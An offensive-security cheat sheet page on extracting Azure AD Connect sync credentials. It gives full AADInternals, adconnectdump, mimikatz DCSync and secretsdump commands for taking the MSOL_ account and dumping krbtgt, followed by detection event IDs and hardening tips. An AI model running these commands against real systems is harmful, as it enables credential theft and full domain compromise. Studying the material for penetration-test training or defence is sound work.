AD^:Active Directory

Attack #74 — Azure AD Connect Credential Extraction

Azure AD Connect synchronizes on-premises AD with Azure AD / Entra ID. The sync service stores a privileged AD account's credentials (the MSOL_ account or…

advancedupdated 2026-08-10Impacket · Mimikatz · PowerShell

🔷 Attack #74 — Azure AD Connect Credential Extraction


📖 How It Works

Azure AD Connect synchronizes on-premises AD with Azure AD / Entra ID. The sync service stores a privileged AD account’s credentials (the MSOL_ account or ADSync account) in a local database (encrypted with DPAPI). This account typically has DCSync rights by default — extracting its credentials from the Azure AD Connect server grants immediate DCSync capability.


⚙️ Prerequisites

RequirementDetail
Local admin on Azure AD Connect serverTo access the encrypted database
Azure AD Connect installedWith on-prem sync configured

💻 Full Commands

# ── AADInternals (PowerShell) ─────────────────────────────────────────────────
Install-Module AADInternals -Force
Import-Module AADInternals
Get-AADIntSyncCredentials
# Output:
# Domain: corp.local
# Username: MSOL_<hex>
# Password: <cleartext_password>

# ── adconnectdump (manual extraction) ─────────────────────────────────────────
.\adconnectdump.exe
# Extracts MSOL_ credentials from the local SQL database

# ── Now DCSync with the MSOL_ account ─────────────────────────────────────────
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit
# MSOL_ account has DCSync rights by default
# ── From Linux (after extracting credentials) ─────────────────────────────────
secretsdump.py corp.local/MSOL_<hex>:'<password>'@DC01.corp.local -just-dc-user krbtgt

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4662Security Log (DC)MSOL_ account performing replication
4624Security LogMSOL_ logon from unexpected source (not the AD Connect server)

🔗 Attack Chain Context

[Azure AD Connect] ──→ Extract MSOL_ creds → DCSync → domain compromise
         │
         ├──→ 🔑 MSOL_ account has DCSync rights by DEFAULT
         ├──→ 🔗 Compromise AD Connect server → full domain compromise
         └──→ 💀 Defeated by: harden AD Connect server, use gMSA for sync, monitor MSOL_ usage

✅ Attack #74 — Azure AD Connect complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.